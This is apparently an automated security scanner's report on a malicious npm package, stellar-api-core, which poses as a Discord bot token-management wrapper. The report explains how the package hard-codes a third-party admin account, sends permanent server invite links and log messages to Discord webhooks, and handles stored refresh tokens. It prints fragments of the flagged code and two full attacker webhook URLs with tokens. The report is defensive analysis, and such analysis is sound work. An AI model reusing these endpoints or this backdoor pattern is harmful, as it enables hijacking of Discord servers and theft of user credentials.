registry / Credential exfiltration / stellar-api-core
stellar-api-core
The official Stellar API wrapper for Nakama token management bots.
This report shows the evidence for stellar-api-core@1.0.6. 6 of 6 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThe hard-coded privileged account and unannounced outbound transfer of permanent guild invite links establish a concrete malicious access-and-exfiltration chain. The absence of install hooks does not mitigate runtime compromise after the consumer starts the advertised bot.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
Consumer calls `new StellarBot(config).start()` and the Discord client becomes ready or joins a guild.
Impact
An undisclosed third party can administer the token-refresh panel and receive durable invite links to every accessible Discord server.
Mechanism
Hard-coded privileged account plus Discord-webhook exfiltration of server access links.
Attack narrative
At normal runtime, the package appends an undisclosed Discord ID to the configured administrator list. That account can use the generated panel to refresh any stored user token and receive the refreshed `token.json` attachment through Discord. Separately, when the bot becomes ready or joins a guild, it creates permanent invites where permitted and posts them to a hard-coded webhook, enabling unauthorized access to the consumer's Discord servers.
AI rationale
The hard-coded privileged account and unannounced outbound transfer of permanent guild invite links establish a concrete malicious access-and-exfiltration chain. The absence of install hooks does not mitigate runtime compromise after the consumer starts the advertised bot.
Evidence
package.jsonindex.jsREADME.mddatadata/*_token.json
Network endpoints2
discord.com/api/webhooks/1527809440084922462/e_qK6ciLgzhqVvoubai2JIfqZdP3u2BCBWAWqgk4wy4fM5IhZGVORtwpXN2JpZ__avWhdiscord.com/api/webhooks/1527807036350398687/3sPFiOKr2BotMU2y3-ZRXkdosQ4zkoF_ZazcKCFXrMztR-Toducmm1L2xN7ezS3Vn806
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` hard-codes Discord user `1489655840662093854` into every bot's admin list.
- That forced admin can select any saved user token and invoke refresh via the admin panel.
- `index.js` posts permanent guild invite URLs to a hard-coded Discord webhook at startup and on guild join.
- The package stores users' token and refresh-token pairs under `data/*_token.json` and sends refresh tokens to configured backend URLs.
Evidence against
- `package.json` contains no preinstall, install, postinstall, or prepare lifecycle hooks.
- No shell execution, eval/vm, dynamic loading, or native binary loading was found.
- Webhook token logging reports events rather than directly attaching stored credentials.
Behavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
3 flagged · loading sourceindex.jsView file
14const path = require('path');
L15: const axios = require('axios');
L16:
...
L40:
L41: this.dataDir = path.join(process.cwd(), 'data');
L42: if (!fs.existsSync(this.dataDir)) fs.mkdirSync(this.dataDir, { recursive: true });
...
L49: logToServerWebhook(message) {
L50: axios.post(this.serverWebhook, { content: message }).catch(() => {});
L51: }
...
L188: await interaction.deferReply({ ephemeral: true });
L189: const oldData = JSON.parse(fs.readFileSync(filePath, 'utf8'));
L190: const result = await this.callBackendAPI(oldData.refresh_token);
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
index.jsView on unpkg · L1414Trigger-reachable chain: manifest.main -> index.js
L14: const path = require('path');
L15: const axios = require('axios');
L16:
...
L40:
L41: this.dataDir = path.join(process.cwd(), 'data');
L42: if (!fs.existsSync(this.dataDir)) fs.mkdirSync(this.dataDir, { recursive: true });
...
L49: logToServerWebhook(message) {
L50: axios.post(this.serverWebhook, { content: message }).catch(() => {});
L51: }
...
L188: await interaction.deferReply({ ephemeral: true });
L189: const oldData = JSON.parse(fs.readFileSync(filePath, 'utf8'));
L190: const result = await this.callBackendAPI(oldData.refresh_token);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L14Findings
2 Critical1 High2 Medium4 Low
CriticalCredential Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighKnown Malware Source Similarityindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to stellar-api-core@1.0.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing stellar-api-core@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.